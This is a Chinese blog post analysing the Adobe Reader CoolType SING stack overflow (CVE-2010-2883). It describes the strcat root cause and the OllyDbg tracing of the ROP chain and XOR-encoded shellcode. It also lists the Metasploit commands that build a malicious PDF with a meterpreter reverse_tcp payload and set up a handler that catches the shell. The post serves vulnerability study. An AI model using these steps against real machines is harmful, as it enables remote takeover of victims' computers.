跳至主要内容

CVE-2010-2883 漏洞分析

https://ift.tt/2NPO3ho

分析环境

  • 漏洞软件
    • adobe reader 9.3.4
  • 运行环境
    • windows xp sp3
  • 静态分析工具
    • IDA 7.0 MacVersion
  • 动态调试器
    • OD1.1
  • 模拟攻击主机
    • kali 2018.1
  • pdf object提取器
    • PDF Stream Dumpe

环境搭建注意事项

  • adobe reader 下载地址 adobe reader 9.x
  • adober reader 在虚拟机下的安装
    • 因为虚拟机通常都是一个盘,这个默认安装需要有一个d盘(问题跟本用不着D盘),因此以一直报错
    • 在终端输入 subst D: %temp% 临时创建一个d盘

静态分析漏洞成因

在CoolTy.dll 中,发现解析SING表的时候,没有验证uniqueName的长度,使用strcat进行拼接字符串的时候,没有对长度进行验证,导致栈溢出。
具体原因见下图:

攻击样本生成

使用msf生成攻击样本

search adobe_cooltype_sing

通过这个图可以看到,第一个是browser的,第二个是文件格式的,肯定选第二个

use exploit/windows/fileformat/adobe_cooltype_sing
使用info查看exploit信息

调用meterpreter载荷,反向连接到靶机机set payload windows/meterpreter/reverse_tcp 
使用 show options 显示需要设置的选项

对参数进行设置,并输入exploit命令生成样本

使用MSF监听肉鸡

使用handler监听模块  use exploit/multi/handle
回弹一个tcp连接

设置基本信息后,使用exploit开启监听

目标靶机运行样本

adobe reader 打开pdf文件

已经连接到kali,并获得权限

样本exploit 提取

通过PDF Stream Dumpe提取TTG文件,下载链接

通过搜索字符串,找到了SING表所在的位置

右键单击,Save Decompressed Streams

SING表的定义

typedef sturct_SING
{
    char tag[4];//"SING"
    ULONG checkSum;//校验和
    ULONG offset;//相对文件偏移
    ULONG length;//数据长度
} TableEntry;

也就说,通过截图

得知

0x53494e47是tag[4]
0xd9bcc8b5是校验和
0x0000011c是相对文件偏移
0x00001ddf是数据长度

通过 ULONG offset 可以得知 ,0x11c是相对于文件的偏移,这个地方就是SING的数据结构
然后SING数据结构再偏移0x10个字节,就是uniqueName的位置,设计的时候共28个字节的大小

动态调试

打开adobe reader,打开od,附加到adobe reader上,然后加载有问题的pdf文件
可以发现在断下来的时候,断在了CoolType这个模块


通过汇编代码可以发现,是取了uniqueName之后,直接复制到esp所在的位置处

执行程序,对strcat拼接后的空间下内存访问断点


发现直接把ebp之后的位置都覆盖了,这里原始的逻辑就有问题
F9运行

一直在循环比较,删掉断点,执行到返回,然后重下内存断点f9

继续跟,发现断在了ROP链0x4a80cb33

紧接着就是一串top,通过栈中的信息可以发现,首先调用的是CreateFile这个api

然后通过其参数 ,发现创建了一个iso88951的文件

接着执行rop链,发现接下来调用的api是CreateFileOfMapping

并且对这个内存设置了可读,可写可执行
又一片rop链之后,调用了MapViewOfFile

最后调用的memcpy,把shellcode复制到了映射的内存区域执行

shellcode

因为我们的样本是msf生成的,都知道是一个tcp连接,那么大体的步骤我们也就知道了,就是shellcode这次的加密方式有点特点,特地截个图

也是一个异或加密,但是xor的种子不是固定的,是用shellcode进行动态异或的

The post CVE-2010-2883 漏洞分析 appeared first on cole.

https://ift.tt/2OvXuj7 Assembly, information security, vul, cve-2010-2883, 漏洞分析 September 18, 2018 at 11:27AM

评论

此博客中的热门博文

反Hook 之自己实现GetProcAddress和LoadLibraryA(c++ version)

http://ift.tt/2AocAD0 // 课上练习.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> //要实现的功能: /* 自己实现GerProcAddress LoadLibraryA */ //思路: /* GerProcAddress和LoadLibraryA都是在Kernel32.dll中的 首要的任务就是找到Kernel32.dll,然后遍历IAT就能找到这两个函数 现在首要的难点就是如何找到kernel32.dll() 通过dll的加载顺序可以找到,而且虽然需要使用未文档化的API,但是好在windgb可以直接看,而且用到的也并不是很多 懒得去晚上搜了,直接自己实现一个得了,作为演示,能用就行(最好还是搜一个正规的结构体) */ /* 0: kd> dt _TEB /a nt!_TEB +0x000 NtTib : _NT_TIB +0x01c EnvironmentPointer : Ptr32 Void +0x020 ClientId : _CLIENT_ID +0x028 ActiveRpcHandle : Ptr32 Void +0x02c ThreadLocalStoragePointer : Ptr32 Void +0x030 ProcessEnvironmentBlock : Ptr32 _PEB //首先实现部分TEB结构体,因为只需要用的PEB的部分,所以实现到这就ok了 */ //构建 TEB typedef struct _TEB { //保证0x30是peb的结构体就ok了 struct _tem { DWORD a1; DWORD a2; DWORD a3; DWORD a4; DWORD a5; DWORD a6; DWORD a7; DWORD a8; DWORD a9; DWORD a10; ...

IDA动态调试ELF中遇到的问题(1)

https://ift.tt/2Gxnf2F 遇到 got SIGCHLD singal(child status has changed)...这种提示 singal fork了子进程 直接点yes,然后继续单步执行,出来提示 pass to application就行了 内存查看 用od习惯了之后,凡事都想右键看一下内存,但是IDA中好像没有那么如意, 目前只是在栈中右键发现有查看hex的选项 动态调试的时候的nop ida保存动态调试的时候修改的数据 方法一:在程序运行的时候保存 The post IDA动态调试ELF中遇到的问题(1) appeared first on cole . https://ift.tt/2q9Qf5g WHATEVER April 05, 2018 at 09:44AM

数据库(MySQL)编程之数据库和表的基本操作

http://ift.tt/2gOXg6X     数据库和表的基本操作 操作前的基本知识 基本 sql语句不区分大小写(关键字建议用大小写),但字符串常量区分大小写 sql语句可单行或多行书写,以; 结尾 关键字不能跨行或简写 可以用空格或者缩进来提高可读性 注释 sql标准 /**/ : 多行注释 "--":单行注释 mysql 标准: "#":单行注释 "COMMENT":为字段或列添加注释 创建和查看数据库 创建数据库 模板 CREATE DATABASE [IF NOT EXISTS ] db_name create_specification: IF NOT EXITSTS : 检查数据库是否存在,如果存在就不创建 creat_specification :创建条件 CHARACTER SET: 制定数据聚采用的字符集 COLLATE :制定数据库字符集的比较方式 DEFAULT :表示默认内容,即使没有制定该项,也有默认的值 # 创建数据库使用字符集为 UTF-8 ,使用规则为 uftf_bin CREATE DATABASE db_name DEFAULT CHARACTER SET utf8 COLLATE uft8_bin; 一般默认的数据库就是utf8 和utf8_bin的比较方式,因此一般创建数据库的时候都用 CREATE DATABASE db_name mysql> create database testdb; Query OK, 1 row affected (0.02 sec) 查看数据库 命令 SHOW DATABASES     mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sakila | | sys | | testdb | |...